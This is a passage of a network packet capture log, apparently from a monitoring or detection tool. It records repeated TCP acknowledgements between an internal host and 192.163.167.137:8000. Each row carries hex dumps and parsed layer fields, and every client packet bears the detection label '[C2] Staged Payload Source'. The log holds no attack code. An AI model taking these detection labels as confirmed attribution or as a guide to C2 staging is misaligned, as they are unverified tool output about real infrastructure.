\"\"proto\"\": 6, \"\"chksum\"\": 16093, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:32.836313,796,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c7400040068b2cc0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..,....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42183, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35628, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:33.851892,797,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b122400080063edc0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16092, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:33.851902,798,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c8400040068b2bc0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..+....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42184, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35627, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:34.867549,799,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b123400080063edb0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45347, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16091, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:34.867579,800,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c9400040068b2ac0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..*....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42185, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35626, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:35.883200,801,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b124400080063eda0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45348, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16090, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:35.883220,802,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4ca400040068b29c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..)....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42186, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35625, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:36.898851,803,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b125400080063ed90a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16089, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:36.898871,804,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4cb400040068b28c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..(....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42187, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35624, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:37.898887,805,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b126400080063ed80a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16088, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:37.898919,806,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4cc400040068b27c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..'....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42188, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35623, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:38.898896,807,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b127400080063ed70a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45351, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16087, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:38.898930,808,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4cd400040068b26c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..&....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42189, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35622, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:39.914551,809,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b128400080063ed60a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16086, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:39.914574,810,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4ce400040068b25c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..%....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42190, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35621, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:40.930191,811,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b129400080063ed50a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16085, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:40.930231,812,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4cf400040068b24c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..$....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42191, 